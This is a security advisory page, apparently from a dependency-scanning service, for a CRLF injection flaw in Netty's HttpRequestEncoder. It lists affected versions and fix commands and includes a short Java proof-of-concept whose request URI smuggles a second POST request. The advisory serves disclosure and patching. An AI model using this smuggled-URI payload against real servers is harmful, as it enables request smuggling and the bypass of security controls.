MediumGHSA-84h7-rjj3-6jx4CVE-2025-67735

Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Published 15 Dec 2025 · Updated 10 Sept 2026

Is your project on an affected io.netty:netty-codec-http?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Look after several Java apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Affected packages

Affected
>=4.2.0.Alpha1 <4.2.8.Final
Fixed in
4.2.8.Final
Update to the fixed version for your release line, for example:mvn versions:use-dep-version -Dincludes=io.netty:netty-codec-http -DdepVersion=4.2.8.Final -DforceVersion=true
Affected
<4.1.129.Final
Fixed in
4.1.129.Final
Update to the fixed version for your release line, for example:mvn versions:use-dep-version -Dincludes=io.netty:netty-codec-http -DdepVersion=4.1.129.Final -DforceVersion=true

Details

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

Is GHSA-84h7-rjj3-6jx4 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected io.netty:netty-codec-http, and gives you the command that fixes it.

More advisories for io.netty:netty-codec-http

  • MediumCVE-2026-59903Netty Vulnerable to Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite · 17 Aug 2026
  • MediumCVE-2026-59921Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder · 22 Jul 2026
  • MediumCVE-2026-59899Netty: [HttpContentEncoder] Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service · 22 Jul 2026
  • MediumCVE-2026-59898Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation · 22 Jul 2026
  • MediumCVE-2026-56746Netty: Security Control Bypass via CORS Short-Circuit Failure · 22 Jul 2026
  • HighCVE-2026-56745Netty: [SpdyHttpDecoder] ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion · 22 Jul 2026
All 24 advisories for io.netty:netty-codec-http

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.